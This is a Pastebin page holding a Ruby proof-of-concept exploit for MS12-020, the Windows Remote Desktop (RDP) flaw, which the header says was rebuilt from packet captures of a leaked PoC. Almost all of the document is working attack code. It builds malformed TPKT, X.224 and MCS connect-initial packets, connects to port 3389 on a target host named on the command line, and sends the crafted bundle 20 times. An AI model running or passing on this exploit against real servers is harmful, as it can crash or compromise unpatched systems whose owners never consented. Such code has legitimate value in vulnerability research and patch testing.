Advertisement
The_KGB

[Ruby]ms12-020 PoC attempt

Mar 17th, 2012
229
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 6.15 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2.  
  3. #
  4. # ms12-020 PoC attempt
  5. #
  6. # NOTE: This was crafted based on a legit connection packet capture and reversing
  7. # a packet capture of the leaked MAPP PoC.
  8. #
  9. # by Joshua J. Drake (jduck)
  10. #
  11.  
  12. require 'socket'
  13.  
  14. def send_tpkt(sd, data)
  15.   sd.write(make_tpkt(data))
  16. end
  17.  
  18. def make_tpkt(data)
  19.   [
  20.     3,  # version
  21.     0,  # reserved
  22.     4 + data.length
  23.   ].pack('CCn') + data
  24. end
  25.  
  26. def make_x224(data)
  27.   [ data.length ].pack('C') + data
  28. end
  29.  
  30. def make_rdp(type, flags, data)
  31.   [ type, flags, 4 + data.length ].pack('CCv') + data
  32. end
  33.  
  34.  
  35. host = ARGV.shift
  36.  
  37. sd = TCPSocket.new(host, 3389)
  38. pkts1 = []
  39.  
  40. # craft connection request
  41. rdp = make_rdp(1, 0, [ 0 ].pack('V'))
  42. x224_1 = make_x224([
  43.   0xe0,  # Connection request
  44.   0,     # ??
  45.   0,     # SRC-REF
  46.   0      # Class : Class 0
  47. ].pack('CnnC') + rdp)
  48.  
  49. pkts1 << make_tpkt(x224_1)
  50.  
  51.  
  52. # craft connect-initial
  53. x224_2 = make_x224([
  54.   0xf0,  # Data / Class 0
  55.   0x80   # EOT: True / NR: 0
  56. ].pack('CC'))
  57.  
  58. # mcsCi
  59. target_params = ""+
  60.   #"\x02\x01\x00"+     # maxChannelIds
  61.   "\x02\x01\x22"+  # maxChannelIds
  62.   "\x02\x01\x0a"+  # maxUserIds
  63.   "\x02\x01\x00"+  # maxTokenIds
  64.   "\x02\x01\x01"+  # numPriorities
  65.   "\x02\x01\x00"+  # minThroughput
  66.   "\x02\x01\x01"+  # maxHeight
  67.   "\x02\x02\xff\xff"+          # maxMCSPDUSize
  68.   "\x02\x01\x02"   # protocolVersion
  69. min_params = ""+
  70.   "\x02\x01\x01"+  # maxChannelIds      
  71.   "\x02\x01\x01"+  # maxUserIds          
  72.   "\x02\x01\x01"+  # maxTokenIds        
  73.   "\x02\x01\x01"+  # numPriorities      
  74.   "\x02\x01\x00"+  # minThroughput      
  75.   "\x02\x01\x01"+  # maxHeight          
  76.   "\x02\x02\x04\x20"+          # maxMCSPDUSize
  77.   "\x02\x01\x02"   # protocolVersion
  78. max_params = ""+
  79.   "\x02\x02\xff\xff"+          # maxChannelIds          
  80.   "\x02\x02\xfc\x17"+          # maxUserIds              
  81.   "\x02\x02\xff\xff"+          # maxTokenIds            
  82.   "\x02\x01\x01"+  # numPriorities          
  83.   "\x02\x01\x00"+  # minThroughput          
  84.   "\x02\x01\x01"+  # maxHeight              
  85.   "\x02\x02\xff\xff"+          # maxMCSPDUSize
  86.   "\x02\x01\x02"   # protocolVersion
  87.  
  88. userdata = ""+
  89.   # gccCCrq
  90.   "\x00\x05\x00\x14"+
  91.   "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
  92.   # clientCoreData
  93.   "\x01\xc0"+"\xd8\x00"+  # header (type, len)
  94.     "\x04\x00"+"\x08\x00"+ # version
  95.     "\x80\x02"+ # desktop width
  96.     "\xe0\x01"+ # desktop height
  97.     "\x01\xca"+ # color depth
  98.     "\x03\xaa"+ # SASSequence
  99.     "\x09\x04\x00\x00" + # keyboard layout
  100.     "\xce\x0e\x00\x00" + # client build number
  101.     # client name
  102.     "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  103.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  104.     "\x04\x00\x00\x00"+ # keyboard type
  105.     "\x00\x00\x00\x00"+ # kbd subType
  106.     "\x0c\x00\x00\x00"+ # kbd FuncKey
  107.     # imeFileName
  108.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  109.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  110.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  111.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  112.     "\x01\xca"+ # postBeta2ColorDepth
  113.     "\x01\x00"+ # clientProductId
  114.     "\x00\x00\x00\x00" + # serialNumber
  115.     "\x10\x00"+ # highColorDepth
  116.     "\x07\x00"+ # supportedColorDepths
  117.     "\x01\x00"+ # earlyCapabilityFlags
  118.     # clientDigProductId -poc has: "00000-000-0000000-00000"
  119.     "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
  120.     "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
  121.     "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
  122.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
  123.     "\x00"+ # connectionType
  124.     "\x00"+ # pad1octet
  125.     "\x00\x00\x00\x00"+ # serverSelectedProtocol
  126.     "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
  127.     "\x0d\x00\x00\x00"+ # desktopPhysicalHeight
  128.     "\x00\x00\x00\x00"+ # reserved
  129.   # clientSecurityData
  130.   "\x02\xc0"+"\x0c\x00"+ # header (type, len)
  131.     "\x1b\x00\x00\x00"+ # encryptionMethods
  132.     "\x00\x00\x00\x00"+ # extEncryptionMethods
  133.   # clientNetworkData
  134.   "\x03\xc0"+"\x2c\x00"+ # header (type, len)
  135.     "\x03\x00\x00\x00"+ # channel count!
  136.     # channel 0
  137.     "rdpdr\x00\x00\x00"+ # name
  138.     "\x00\x00\x80\x80"+  # options
  139.     # channel 1
  140.     "cliprdr\x00"+       # name
  141.     "\x00\x00\xa0\xc0"+  # options
  142.     # channel 2
  143.     "rdpsnd\x00\x00"+    # name
  144.     "\x00\x00\x00\xc0"   # options
  145.   # clientClusterData (not present)
  146.   # clientMonitorData (not present)
  147.  
  148. mcs_data = ""+
  149.     "\x04\x01\x01"+ # callingDomainSelector
  150.     "\x04\x01\x01"+ # calledDomainSelector
  151.     "\x01\x01\xff"+ # upwardFlag
  152.   "\x30" + [ target_params.length ].pack('C') + target_params +
  153.   "\x30" + [ min_params.length ].pack('C') + min_params +
  154.   "\x30" + [ max_params.length ].pack('C') + max_params +
  155.   # userData
  156.   "\x04\x82" + [ userdata.length ].pack('n') + userdata
  157.  
  158. mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n')  # connect-initial (0x65 / 101), length
  159. mcs << mcs_data
  160.  
  161. pkts1 << make_tpkt(x224_2 + mcs)
  162.  
  163.  
  164. # send a special one?
  165. #pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00")
  166.  
  167. # send more pkts! - based on poc
  168. 8.times {
  169.   pkts1 << make_tpkt(x224_2 + "\x28")
  170. }
  171.  
  172. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea")
  173. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb")
  174. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec")
  175. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed")
  176. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee")
  177. pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0")
  178. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1")
  179. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2")
  180. #pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3")
  181.  
  182. pkts1 << make_tpkt(x224_2 + "\x21\x80")
  183.  
  184. bigpkt = pkts1.join('')
  185.  
  186. 20.times { |x|
  187.   puts "[*] Sending #{x + 1} ..."
  188.   sd.write(bigpkt)
  189.  
  190.   send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01")
  191.   #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02")
  192.   #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03")
  193.   #send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04")
  194.  
  195.   # read connect-initial response
  196.   buf = sd.recv(1500)
  197.   # XXX: TODO: check response =)
  198.   #puts buf
  199. }
  200.  
  201. sd.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement